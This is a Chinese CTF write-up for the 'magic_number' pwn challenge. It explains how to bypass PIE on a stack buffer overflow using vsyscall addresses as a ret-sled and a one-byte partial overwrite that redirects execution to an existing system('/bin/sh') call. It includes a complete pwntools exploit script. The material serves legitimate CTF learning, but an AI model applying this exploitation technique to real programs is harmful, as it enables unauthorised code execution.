0%

DASCTF8月赛:magic_number

题目中给出现成的调用system("/bin/sh");的执行地址,且存在栈上面的缓冲区溢出漏洞,不过因为程序开启了PIE(地址随机化),所以不能直接的用IDA中显示的地址覆盖。

image-20200919235944186

不过地址随机化了,但最后一个字节的地址还是一致的,这里可以利用vsyscall来进行滑动,在内存中找到合适的地址来利用就可以了。vsyscall是无参数的调用,就相当于一个ROP gadget, 可利用的三个地址为:0xffffffffff600000, 0xffffffffff600400, 0xffffffffff600800。

仔细调试程序,发现在栈上存在一个可利用的地址,即__libc_start_main传参的时候把main函数的地址放到了栈上,而main函数的地址和system("/bin/sh");的地址就只有最后一个字节不一样,所以就可以利用了。

image-20200920001344963

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
#coding:utf-8
from pwn import *
# context.log_level = 'debug'
p=process('magic_number')
#p=remote('183.129.189.60',10010)
elf=ELF('magic_number')
# sleep(5)
# gdb.attach(p)
# pause()
payload = 'B'*0x38+p64(0xFFFFFFFFFF600000)+p64(0xFFFFFFFFFF600000)+p64(0xFFFFFFFFFF600000)+p64(0xFFFFFFFFFF600000)+'\xA8'
p.recvuntil("Your Input :\n")
p.send(payload)
p.interactive()

本地测试如下:

image-20200920002301586